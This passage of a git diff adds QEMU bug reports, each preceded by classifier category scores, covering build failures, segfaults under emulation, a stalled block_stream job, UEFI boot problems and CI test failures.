upgrades pip and setuputils in venv to the latest version, and it seem to help, but I don't know if it's the right solution to always have the latest version. Probably some LTS version should be chosen, if such thing exists for pip. diff --git a/results/classifier/108/graphic/1319 b/results/classifier/108/graphic/1319 new file mode 100644 index 000000000..00a6bd30d --- /dev/null +++ b/results/classifier/108/graphic/1319 @@ -0,0 +1,28 @@ +graphic: 0.954 +vnc: 0.784 +device: 0.751 +semantic: 0.698 +PID: 0.697 +files: 0.636 +debug: 0.446 +network: 0.417 +socket: 0.390 +permissions: 0.359 +boot: 0.354 +performance: 0.332 +other: 0.182 +KVM: 0.122 + +Build warnings when building qemu with 'disable-tcg' for ppc64-softmmu target +Description of problem: +Building recent upstream qemu (HEAD 2c8311241d) for 'ppc64-softmmu' target is failing due to following build warnings: + +<snip> + ../target/ppc/cpu_init.c:7018:13: error: 'ppc_restore_state_to_opc' defined but not used [-Werror=unused-function] + 7018 | static void ppc_restore_state_to_opc(CPUState *cs, +<snip> +Steps to reproduce: +1. $ git clone --recurse-submodules https://gitlab.com/qemu-project/qemu.git +2. ./configure --target-list=ppc64-softmmu --disable-tcg && make +Additional information: +Patch for this issue has been posted and reviewed at https://lore.kernel.org/all/20221116131743.658708-1-vaibhav@linux.ibm.com/ diff --git a/results/classifier/108/graphic/1321684 b/results/classifier/108/graphic/1321684 new file mode 100644 index 000000000..78db1eaed --- /dev/null +++ b/results/classifier/108/graphic/1321684 @@ -0,0 +1,96 @@ +semantic: 0.946 +graphic: 0.944 +permissions: 0.936 +other: 0.932 +vnc: 0.912 +network: 0.903 +device: 0.902 +debug: 0.900 +PID: 0.897 +performance: 0.897 +files: 0.870 +KVM: 0.870 +socket: 0.855 +boot: 0.849 + +block_stream command stalls + +block_stream command stalls near finishing. +I tried 1.7.1, 2.0.0 and the master versions. All of them stalled. +But the 1.1.2 could finish the job. + +Here is how to reproduce it: + +$ sudo $QEMU \ +-enable-kvm -cpu qemu64 -m 1024 \ +-monitor stdio \ +-drive file=./i1,if=none,id=drive_0,cache=none,aio=native -device virtio-blk-pci,drive=drive_0,bus=pci.0,addr=0x5 \ + +QEMU 2.0.50 monitor - type 'help' for more information +(qemu) VNC server running on `127.0.0.1:5900' +(qemu) snapshot_blkdev drive_0 s1 +Formatting 's1', fmt=qcow2 size=26843545600 backing_file='./i1' backing_fmt='qcow2' encryption=off cluster_size=65536 lazy_refcounts=off +(qemu) block_stream drive_0 +(qemu) info block-jobs +Streaming device drive_0: Completed 400818176 of 26843545600 bytes, speed limit 0 bytes/s +(qemu) info block-jobs +Streaming device drive_0: Completed 904396800 of 26843545600 bytes, speed limit 0 bytes/s +(qemu) info block-jobs +Streaming device drive_0: Completed 23401070592 of 26843545600 bytes, speed limit 0 bytes/s +(qemu) info block-jobs +Streaming device drive_0: Completed 26513768448 of 26843545600 bytes, speed limit 0 bytes/s +(qemu) main-loop: WARNING: I/O thread spun for 1000 iterations +info block-jobs +Streaming device drive_0: Completed 26841513984 of 26843545600 bytes, speed limit 0 bytes/s +(qemu) info block-jobs +Streaming device drive_0: Completed 26841513984 of 26843545600 bytes, speed limit 0 bytes/s +(qemu) info block-jobs +Streaming device drive_0: Completed 26841513984 of 26843545600 bytes, speed limit 0 bytes/s + +#### here, the progress stopped at 26841513984 #### + + +$ qemu-img info i1 +image: i1 +file format: qcow2 +virtual size: 25G (26843545600 bytes) +disk size: 1.0G +cluster_size: 2097152 +Format specific information: + compat: 1.1 + lazy refcounts: false + +On Wed, May 21, 2014 at 09:55:26AM -0000, mcpacino wrote: +> block_stream command stalls near finishing. +> I tried 1.7.1, 2.0.0 and the master versions. All of them stalled. +> But the 1.1.2 could finish the job. + +Can you still reproduce this on qemu.git/master? + +$ qemu-system-x86_64 -enable-kvm -m 1024 -cpu host -drive if=virtio,cache=none,file=test.img,id=drive_1 +... +(qemu) info block-jobs +Streaming device drive0: Completed 3115843584 of 8589934592 bytes, speed limit 0 bytes/s +(qemu) info block-jobs +Streaming device drive0: Completed 3171942400 of 8589934592 bytes, speed limit 0 bytes/s +(qemu) info block-jobs +No active jobs + + +To Stefan: + +yes, I can reproduce this on qemu.git/master. + +Actually, I've found the cause of this bug and sent a patch to qemu-devel mailing list a few days ago: +http://lists.nongnu.org/archive/html/qemu-devel/2014-05/msg05777.html + +It's very kind of you helping review the patch and give some comments. + +Thanks. + +Cong Meng. + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1324727 b/results/classifier/108/graphic/1324727 new file mode 100644 index 000000000..8c2683dbc --- /dev/null +++ b/results/classifier/108/graphic/1324727 @@ -0,0 +1,48 @@ +graphic: 0.966 +debug: 0.895 +device: 0.888 +semantic: 0.869 +performance: 0.859 +boot: 0.858 +PID: 0.824 +other: 0.802 +permissions: 0.779 +files: 0.722 +socket: 0.706 +vnc: 0.654 +network: 0.493 +KVM: 0.166 + +qemu-system-arm segfaults without KVM on ARM + +I'm running on Odroid-XU, Debian Jessie armhf +qemu built from today's head d7d3d6092cb7edc75dc49fb90c86dd5425ab4805 + +sudo qemu-system-arm -M vexpress-a15 -drive if=none,file=arm.img,cache=writeback,id=foo -device virtio-blk-device,drive=foo -netdev user,id=user.0 -device virtio-net-device,netdev=user.0 -nographic -append 'root=/dev/vda rw console=ttyAMA0 rootwait' -kernel /usr/src/build/arm/linux-guest/arch/arm/boot/zImage -dtb a15x2.dtb +audio: Could not init `oss' audio driver +Uncompressing Linux... done, booting the kernel. +Segmentation fault + +If I run under GDB, the linux guest instance panics or hangs -- the behaviour is variable run to run. + +If I do: +sudo qemu-system-arm --enable-kvm -M vexpress-a15 -drive if=none,file=arm.img,cache=writeback,id=foo -device virtio-blk-device,drive=foo -netdev user,id=user.0 -device virtio-net-device,netdev=user.0 -nographic -append 'root=/dev/vda rw console=ttyAMA0 rootwait' -kernel /usr/src/build/arm/linux-guest/arch/arm/boot/zImage -dtb a15x2.dtb + +then the guest boots as expected. + +I tried to get a backtrace by allowinghte SEGV to dump core, and using gdb to inspect it: +Core was generated by `qemu-system-arm -M vexpress-a15 -drive if=none,file=arm.img,cache=writeback,id='. +Program terminated with signal 11, Segmentation fault. +#0 0xb53399c0 in ?? () +(gdb) bt +#0 0xb53399c0 in ?? () +Cannot access memory at address 0x28 +#1 0x0016d87e in cpu_tb_exec ( + tb_ptr=0xc786fe90 <Address 0xc786fe90 out of bounds>, cpu=0x24450d8) + at /mnt/qemu/cpu-exec.c:67 +#2 cpu_arm_exec (env=<optimized out>) at /mnt/qemu/cpu-exec.c:642 +#3 0x00000000 in ?? () + +This is a two year old bug which doesn't have an attached repro case and I haven't seen QEMU segfault like this, so I'm going to assume we've fixed this bug. Please reopen if you still have a problem with a newer QEMU, and provide a link to the guest binary that demonstrates the crash. + + diff --git a/results/classifier/108/graphic/1325 b/results/classifier/108/graphic/1325 new file mode 100644 index 000000000..478841b6e --- /dev/null +++ b/results/classifier/108/graphic/1325 @@ -0,0 +1,96 @@ +graphic: 0.955 +permissions: 0.953 +KVM: 0.932 +debug: 0.922 +other: 0.918 +performance: 0.915 +vnc: 0.902 +semantic: 0.888 +device: 0.865 +boot: 0.865 +files: 0.865 +network: 0.849 +socket: 0.846 +PID: 0.813 + +c++: internal compiler error: Segmentation fault signal terminated program cc1plus when running in qemu-aarch64-static chroot on x86_64 +Description of problem: +After a moment of compiling the `src/emoji/Provider.cpp` file, `cc1plus` (I assume the compiler program itself) throws a segfault when running in the emulated chroot environment. The error is shown below. +``` +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +c++: internal compiler error: Segmentation fault signal terminated program cc1plus +Please submit a full bug report, with preprocessed source (by using -freport-bug). +See <https://github.com/archlinuxarm/PKGBUILDs/issues> for instructions. +``` + +This does not happen if you enter the chroot environment on a real ARM device (like a Raspberry PI 3 or 4 or PinePhone). The ARM device does not need to have `qemu-user-static`, nor `qemu-user-static-binfmt` installed because it does not need to emulate an aarch64 CPU. +Steps to reproduce: +There are two ways to replicate this. Either use (1) my preconfigured ARM chroot or (2) setup the chroot environment yourself. These instructions assume you are running on Arch Linux (x86_64). +1. You can use my aarch64 chroot environment provided. (This is the easy way) + - 1) Clone the repo I provided and then change into that directory. +```bash +git clone https://github.com/i3Craig/Temp-aarch64-chroot-for-nheko-compile-issues-in-qemu.git +cd Temp-aarch64-chroot-for-nheko-compile-issues-in-qemu +``` + - 2) On your PC, install `qemu-user-static` and `qemu-user-static-binfmt` and `arch-install-scripts`. This will allow us to `chroot` into the Arch Linux ARM image (technically `chroot` will work since we don't need to use `pacman` for anything with this method, so you could skip `arch-install-scripts` if you prefer). `sudo pacman -S qemu-user-static qemu-user-static-binfmt arch-install-scripts`. + - 3) I put the chroot environment in a state where you can simply run the following command to build the one file that fails. Run the following command. + ```bash +sudo chroot chroot/ /usr/bin/c++ -DFMT_SHARED -DGSTREAMER_AVAILABLE -DNHEKO_DBUS_SYS -DQAPPLICATION_CLASS=QApplication -DQT_CONCURRENT_LIB -DQT_CORE_LIB -DQT_DBUS_LIB -DQT_GUI_LIB -DQT_MULTIMEDIA_LIB -DQT_NETWORK_LIB -DQT_NO_DEBUG -DQT_QMLMODELS_LIB -DQT_QML_LIB -DQT_QUICKCONTROLS2_LIB -DQT_QUICKWIDGETS_LIB -DQT_QUICK_LIB -DQT_SVG_LIB -DQT_WIDGETS_LIB -DSPDLOG_COMPILED_LIB -DSPDLOG_FMT_EXTERNAL -DSPDLOG_SHARED_LIB -DXCB_AVAILABLE -Dnheko_EXPORTS -I/home/builder/packages/nheko/src/build -I/home/builder/packages/nheko/src/nheko-0.10.2 -I/home/builder/packages/nheko/src/build/nheko_autogen/include -I/home/builder/packages/nheko/src/nheko-0.10.2/src -I/home/builder/packages/nheko/src/nheko-0.10.2/includes -I/home/builder/packages/nheko/src/nheko-0.10.2/third_party/blurhash -I/home/builder/packages/nheko/src/nheko-0.10.2/third_party/cpp-httplib-0.5.12 -I/home/builder/packages/nheko/src/nheko-0.10.2/third_party/SingleApplication-3.3.2 -isystem /usr/include/qt -isystem /usr/include/qt/QtDBus -isystem /usr/include/qt/QtCore -isystem /usr/lib/qt/mkspecs/linux-g++ -isystem /usr/include/qt/QtWidgets -isystem /usr/include/qt/QtGui -isystem /usr/include/qt/QtSvg -isystem /usr/include/qt/QtConcurrent -isystem /usr/include/qt/QtMultimedia -isystem /usr/include/qt/QtNetwork -isystem /usr/include/qt/QtQml -isystem /usr/include/qt/QtQuickControls2 -isystem /usr/include/qt/QtQuick -isystem /usr/include/qt/QtQmlModels -isystem /usr/include/qt/QtQuickWidgets -isystem /usr/include/gstreamer-1.0 -isystem /usr/include/glib-2.0 -isystem /usr/lib/glib-2.0/include -isystem /usr/include/sysprof-4 -isystem /usr/include/orc-0.4 -isystem /usr/include/libmount -isystem /usr/include/blkid -march=armv8-a -O2 -pipe -fstack-protector-strong -fno-plt -fexceptions -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security -fstack-clash-protection -Wp,-D_GLIBCXX_ASSERTIONS -Wall -Wextra -pedantic -fsized-deallocation -fdiagnostics-color=always -Wunreachable-code -Wno-attributes -fPIE -fPIC -DSPDLOG_SHARED_LIB -DSPDLOG_COMPILED_LIB -DSPDLOG_FMT_EXTERNAL -pthread -std=gnu++17 -Winvalid-pch -include /home/builder/packages/nheko/src/build/CMakeFiles/nheko.dir/cmake_pch.hxx -MD -MT /home/builder/packages/nheko/src/build/CMakeFiles/nheko.dir/src/emoji/Provider.cpp.o -MF /home/builder/packages/nheko/src/build/CMakeFiles/nheko.dir/src/emoji/Provider.cpp.o.d -o /home/builder/packages/nheko/src/build/CMakeFiles/nheko.dir/src/emoji/Provider.cpp.o -c /home/builder/packages/nheko/src/nheko-0.10.2/src/emoji/Provider.cpp + ``` +- 4) The above command will fail with a segfault error. If you copy your `chroot` over to a real ARM device (like an Raspberry PI 3 or 4 or PinePhone) and run the compile command from step (3), it will be successful. This suggests that everything is setup correctly, but there is a bug in QEMU that causes the c++ compiler to fail. + +2. You can download an Arch Linux ARM image from archlinuxarm.org and chroot into that. Then attempt to build the `nheko` AUR package. (This way requires extra work, but you can use this if you don't trust my chroot archive). + - 1) Download Arch Linux ARM to your X86_64 PC. The Raspberry PI 3/4 image should work. `http://os.archlinuxarm.org/os/ArchLinuxARM-rpi-aarch64-latest.tar.gz`. Signatures are available on archlinuxarm.org. + - 2) Extract the tar archive: `mkdir chroot; sudo tar -xf ArchLinuxARM-rpi-aarch64-latest.tar.gz -C chroot` (this will extract to the `chroot` folder in your current working directory. + - 3) On your PC, install `qemu-user-static` and `qemu-user-static-binfmt` and `arch-install-scripts`. This will allow us to `chroot` into the Arch Linux ARM image (using the `arch-chroot` because we will need to install packages with pacman in the chroot environment). `sudo pacman -S qemu-user-static qemu-user-static-binfmt arch-install-scripts`. + - 4) Now, we can bindmount the `chroot` directory to itself so `arch-chroot` is happy. `sudo mount --bind chroot/ chroot/` + - 5) Enter the chroot: `sudo arch-chroot chroot/` + - 6) At this point, we need to get our build environment setup. Let's start by installing `git`, `base-devel`, `screen` and `vim`. `pacman -S git base-devel screen vim`. I use screen to have one terminal for the root user to install stuff and one for the `builder` user that we will create for building packages as `makepkg` does not particularly like to run as root. + - 7) Add the builder user and create its home folder: `useradd builder; mkdir /home/builder; chown builder:builder /home/builder`. + - 8) You could maybe use an AUR helper to build the following packages, but they don't have the 'aarch64' flag, so they will throw an error when you try to compile them. Thus, I use `makepkg` manually with the `--ignorearch` flag to ignore the architecture of the chroot environment (they are fully compatible with aarch64, just not marked as such). Thus, run `su -l builder` to switch to the builder user, `mkdir packages` to create the packages folder, and then clone the following AUR packages into this folder and build them: `coeurl lmdbxx mtxclient nheko tweeny`. These are dependencies for `nheko`. The process is `git clone https://aur.archlinux.org/<PACKAGENAME>.git`, then `cd PACKAGENAME`, then `makepkg --ignorearch`, then (as the root user in the chroot environment - can use sudo if you set it up) `pacman -U PACKAGENAME.PACKAGEVERSION.pkg.tar.xz` (you can type the package name and then use tab to autocomplete the exact package name). They will all compile just fine and install correctly. + - 9) Now, do the same for the AUR package `nheko`. Notice that it will start to compile, but the error shown above will be printed on the screen after a while. If you copy your `chroot` over to a real ARM device (like an Raspberry PI 3 or 4 or PinePhone) and `arch-chroot` into it and attempt the compile again, it will be successful. This suggests that everything is setup correctly, but there is a bug in qemu that causes the c++ compiler to fail. This is known to break in nheko version `0.10.2-1`. You can get to this by running `git checkout d83124fbffe86d7f875bf8e56834ae98cc21160c` after you clone the `nheko` AUR build script. This is the current latest version as of writing this, but this may change in the future and the bug may no longer show up. If it doesn't, run that `git checkout` command. +Additional information: +After using the `-strace` option in `qemu-aarch64-static` (which has to be copied from the host system to the chroot for this to work: `sudo cp /usr/bin/qemu-aarch64-static chroot/usr/bin/qemu-aarch64-static`), I determined that `c++` was running `/usr/lib/gcc/aarch64-unknown-linux-gnu/12.1.0/cc1plus`, which segfaulted. Note: have to run `sudo arch-chroot chroot/ /usr/bin/qemu-aarch64-static -strace <PUT LONG C++ COMPILE COMMAND HERE>`. +After manually running the `cc1plus` command with the `-strace` option outlined above, I get the following strace, which doesn't seem particularly interesting. +``` +1 brk(0x000000000320a000) = 0x000000000320a000 +1 brk(0x000000000324a000) = 0x000000000324a000 +1 brk(0x00000000032ca000) = 0x00000000032ca000 +1 brk(0x00000000033ca000) = 0x00000000033ca000 +1 brk(0x00000000035ca000) = 0x00000000035ca000 +1 brk(0x00000000031ca000) = 0x00000000031ca000 +1 mmap(NULL,131072,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x0000005520bc3000 +1 brk(0x000000000320a000) = 0x000000000320a000 +1 brk(0x000000000324a000) = 0x000000000324a000 +1 brk(0x00000000032ca000) = 0x00000000032ca000 +1 brk(0x00000000033ca000) = 0x00000000033ca000 +1 brk(0x00000000035ca000) = 0x00000000035ca000 +1 mmap(NULL,4198400,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x0000005520be3000 +1 brk(0x00000000031ca000) = 0x00000000031ca000 +1 munmap(0x0000005520be3000,4198400) = 0 +1 brk(0x000000000320a000) = 0x000000000320a000 +1 brk(0x000000000324a000) = 0x000000000324a000 +1 brk(0x00000000032ca000) = 0x00000000032ca000 +1 brk(0x00000000033ca000) = 0x00000000033ca000 +1 brk(0x00000000035ca000) = 0x00000000035ca000 +1 brk(0x00000000039ca000) = 0x00000000039ca000 +1 brk(0x00000000031ca000) = 0x00000000031ca000 +1 mmap(NULL,2097152,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x0000005520fe4000 +1 mmap(NULL,2097152,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x00000055211e4000 +1 mmap(NULL,2097152,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x00000055213e4000 +1 mmap(NULL,2097152,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x00000055215e4000 +1 brk(0x00000000031eb000) = 0x00000000031eb000 +1 mmap(NULL,131072,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x00000055217e4000 +1 brk(0x0000000003214000) = 0x0000000003214000 +1 brk(0x0000000003274000) = 0x0000000003274000 +1 brk(0x0000000003295000) = 0x0000000003295000 +1 brk(0x0000000003318000) = 0x0000000003318000 +1 brk(0x0000000003339000) = 0x0000000003339000 +1 brk(0x000000000335a000) = 0x000000000335a000 +--- SIGSEGV {si_signo=SIGSEGV, si_code=2, si_addr=0x0000005500000ff0} --- +--- SIGSEGV {si_signo=SIGSEGV, si_code=2, si_addr=0x0000005500000ff0} --- +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +``` + + +I haven't encountered this bug when compiling any other programs, which is good. However, it mea diff --git a/results/classifier/108/graphic/1328 b/results/classifier/108/graphic/1328 new file mode 100644 index 000000000..6470cfb5e --- /dev/null +++ b/results/classifier/108/graphic/1328 @@ -0,0 +1,24 @@ +graphic: 0.973 +boot: 0.926 +device: 0.912 +semantic: 0.753 +performance: 0.751 +debug: 0.583 +files: 0.566 +permissions: 0.525 +PID: 0.477 +network: 0.388 +socket: 0.371 +vnc: 0.313 +other: 0.164 +KVM: 0.163 + +Cannot boot any UEFI systems after upgrade edk2-ovmf +Description of problem: +After upgrading edk2-ovmf from version 202208-1 to version 202208-3 none of my virtual machines on UEFI (windows and Arch linuw guest) have successfully started. + +I'm using Virtual Manager and virt-viewer with virsh. +Steps to reproduce: +1. Update edk2-ovmf to 202208-3 +2. Restart all running VM +3. Vm with UEFI bios cannot boot diff --git a/results/classifier/108/graphic/1331859 b/results/classifier/108/graphic/1331859 new file mode 100644 index 000000000..78683dcd8 --- /dev/null +++ b/results/classifier/108/graphic/1331859 @@ -0,0 +1,36 @@ +graphic: 0.921 +semantic: 0.731 +device: 0.663 +PID: 0.562 +vnc: 0.560 +performance: 0.556 +network: 0.535 +socket: 0.504 +files: 0.444 +permissions: 0.430 +other: 0.427 +boot: 0.368 +KVM: 0.345 +debug: 0.286 + +QEMU kernel panic on Windows with arithmetic syntax error + +During attempts to bring-up QEMU 64-bit ARM support I discovered a kernel panics that only occur on Windows but work properly on Linux. + +The issue can be reproduced by running the following command line: + +$ ./arm-softmmu/qemu-system-arm -M versatilepb -kernel $IMAGES/vmlinuz-3.2.0-4-versatile -initrd $IMAGES/initrd.img-3.2.0-4-versatile -hda $IMAGES/debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" + +where $IMAGES is the location where the images are downloaded from http://people.debian.org/~aurel32/qemu/armel/. + +This was reproduced with both a custom built QEMU as well as the QEMU image installed by http://qemu.weilnetz.de/w32/qemu_w32-setup-20140617.exe. + +The same command line runs properly on Linux using a custom built QEMU. + +The Windows versions of QEMU do appear to work properly using the arm-test images available on qemu.org. + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1333 b/results/classifier/108/graphic/1333 new file mode 100644 index 000000000..453d7b99b --- /dev/null +++ b/results/classifier/108/graphic/1333 @@ -0,0 +1,26 @@ +graphic: 0.960 +device: 0.759 +semantic: 0.566 +performance: 0.495 +debug: 0.265 +PID: 0.263 +files: 0.192 +network: 0.188 +vnc: 0.083 +permissions: 0.063 +socket: 0.043 +boot: 0.041 +other: 0.039 +KVM: 0.003 + +vhost-user-test qos-test fails on s390x host +Description of problem: +The qos-test is now definitely failing in the ubuntu-20.04-s390x-all CI job. See https://gitlab.com/qemu-project/qemu/-/jobs/3363173491 , then click on "Complete Raw" to see the full log. Quoting: + +``` +ERROR:../tests/qtest/vhost-user-test.c:248:wait_for_fds: assertion failed: (s->fds_num) +** +ERROR:../tests/qtest/qos-test.c:191:subprocess_run_one_test: child process (/arm/virt/virtio-mmio/virtio-bus/vhost-user-gpio-device/vhost-user-gpio/vhost-user-gpio-tests/read-guest-mem/memfile/subprocess [274051]) failed unexpectedly + +(test program exited with status code -6) +``` diff --git a/results/classifier/108/graphic/1340 b/results/classifier/108/graphic/1340 new file mode 100644 index 000000000..e6dfaeb88 --- /dev/null +++ b/results/classifier/108/graphic/1340 @@ -0,0 +1,81 @@ +graphic: 0.963 +other: 0.962 +semantic: 0.957 +permissions: 0.956 +performance: 0.943 +device: 0.940 +socket: 0.939 +network: 0.932 +debug: 0.931 +files: 0.916 +PID: 0.914 +boot: 0.914 +KVM: 0.892 +vnc: 0.890 + +Static build fail with native aarch64 toolchain (ld failure at linking aarch64_be target) +Description of problem: +Do a static build on aarch64, with ArchlinuxARM native toolchain (gcc 12.1.0, binutils 2.38) +Steps to reproduce: +Do a static build using the following configs: + +``` +./configure \ + --prefix=/usr \ + --sysconfdir=/etc \ + --libexecdir=/usr/lib/qemu \ + --enable-attr \ + --enable-linux-user \ + --enable-tcg \ + --disable-bpf \ + --disable-bsd-user \ + --disable-capstone \ + --disable-docs \ + --disable-fdt \ + --disable-gcrypt \ + --disable-glusterfs \ + --disable-gnutls \ + --disable-gtk \ + --disable-install-blobs \ + --disable-kvm \ + --disable-libiscsi \ + --disable-libnfs \ + --disable-libssh \ + --disable-linux-io-uring \ + --disable-nettle \ + --disable-opengl \ + --disable-qom-cast-debug \ + --disable-sdl \ + --disable-system \ + --disable-tools \ + --disable-tpm \ + --disable-vde \ + --disable-vhost-crypto \ + --disable-vhost-kernel \ + --disable-vhost-net \ + --disable-vhost-user \ + --disable-vnc \ + --disable-werror \ + --disable-xen \ + --disable-zstd \ + --static +``` + +The build failure looks like this: + +``` +[466/2962] Linking target qemu-aarch64_be +FAILED: qemu-aarch64_be +c++ -o qemu-aarch64_be libcommon.fa.p/hw_core_cpu-common.c.o libcommon.fa.p/hw_core_machine-smp.c.o libcommon.fa.p/cpus-common.c.o libcommon.fa.p/page-vary-common.c.o libcommon.fa.p/accel_accel-user.c.o libcommon.fa.p/common-user_safe-syscall.S.o libcommon.fa.p/common-user_safe-syscall-error.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_aarch64_signal.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_aarch64_cpu_loop.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_cpu.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_crypto_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_debug_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_gdbstub.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_iwmmxt_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_m_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_mve_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_neon_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_op_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_tlb_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_translate.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_translate-m-nocp.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_translate-mve.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_translate-neon.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_translate-vfp.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_vec_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_vfp_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_cpu_tcg.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_kvm-stub.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_cpu64.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_gdbstub64.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_helper-a64.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_mte_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_pauth_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_sve_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_sme_helper.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_translate-a64.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_translate-sve.c.o libqemu-aarch64_be-linux-user.fa.p/target_arm_translate-sme.c.o libqemu-aarch64_be-linux-user.fa.p/trace_control-target.c.o libqemu-aarch64_be-linux-user.fa.p/cpu.c.o libqemu-aarch64_be-linux-user.fa.p/disas.c.o libqemu-aarch64_be-linux-user.fa.p/gdbstub.c.o libqemu-aarch64_be-linux-user.fa.p/page-vary.c.o libqemu-aarch64_be-linux-user.fa.p/semihosting_guestfd.c.o libqemu-aarch64_be-linux-user.fa.p/semihosting_syscalls.c.o libqemu-aarch64_be-linux-user.fa.p/semihosting_arm-compat-semi.c.o libqemu-aarch64_be-linux-user.fa.p/tcg_optimize.c.o libqemu-aarch64_be-linux-user.fa.p/tcg_region.c.o libqemu-aarch64_be-linux-user.fa.p/tcg_tcg.c.o libqemu-aarch64_be-linux-user.fa.p/tcg_tcg-common.c.o libqemu-aarch64_be-linux-user.fa.p/tcg_tcg-op.c.o libqemu-aarch64_be-linux-user.fa.p/tcg_tcg-op-gvec.c.o libqemu-aarch64_be-linux-user.fa.p/tcg_tcg-op-vec.c.o libqemu-aarch64_be-linux-user.fa.p/fpu_softfloat.c.o libqemu-aarch64_be-linux-user.fa.p/accel_accel-common.c.o libqemu-aarch64_be-linux-user.fa.p/accel_tcg_tcg-all.c.o libqemu-aarch64_be-linux-user.fa.p/accel_tcg_cpu-exec-common.c.o libqemu-aarch64_be-linux-user.fa.p/accel_tcg_cpu-exec.c.o libqemu-aarch64_be-linux-user.fa.p/accel_tcg_tcg-runtime-gvec.c.o libqemu-aarch64_be-linux-user.fa.p/accel_tcg_tcg-runtime.c.o libqemu-aarch64_be-linux-user.fa.p/accel_tcg_translate-all.c.o libqemu-aarch64_be-linux-user.fa.p/accel_tcg_translator.c.o libqemu-aarch64_be-linux-user.fa.p/accel_tcg_user-exec.c.o libqemu-aarch64_be-linux-user.fa.p/accel_tcg_user-exec-stub.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_elfload.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_exit.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_fd-trans.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_linuxload.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_main.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_mmap.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_signal.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_strace.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_syscall.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_thunk.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_uaccess.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_uname.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_flatload.c.o libqemu-aarch64_be-linux-user.fa.p/linux-user_semihost.c.o libqemu-aarch64_be-linux-user.fa.p/meson-generated_.._aarch64_be-linux-user-gdbstub-xml.c.o -Wl,--as-needed -Wl,--no-undefined -pie -Wl,--whole-archive libhwcore.fa libqom.fa -Wl,--start-group libevent-loop-base.a -Wl,--no-whole-archive -Wl,--warn-common -Wl,-z,relro -Wl,-z,now -static-pie -fstack-protector-strong -march=armv8-a -O2 -pipe -fstack-protector-strong -fno-plt -fexceptions -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security -fstack-clash-protection -Wp,-D_GLIBCXX_ASSERTIONS -Wl,-O1,--sort-common,--as-needed,-z,relro,-z,now libqemuutil.a libhwcore.fa libqom.fa /usr/lib/libz.a -lrt -lm -pthread -lgthread-2.0 -lglib-2.0 -lpcre2-8 -lsysprof-capture-4 -lstdc++ -Wl,--end-group +/usr/bin/ld: /usr/lib/gcc/aarch64-unknown-linux-gnu/12.1.0/../../../../lib/libglib-2.0.a(gutils.c.o): in function `g_get_user_database_entry': +(.text+0x324): warning: Using 'getpwuid' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking +/usr/bin/ld: (.text+0xf4): warning: Using 'getpwnam_r' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking +/usr/bin/ld: (.text+0xe0): warning: Using 'getpwuid_r' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking +/usr/lib/gcc/aarch64-unknown-linux-gnu/12.1.0/../../../../lib/libc.a(init-first.o): in function 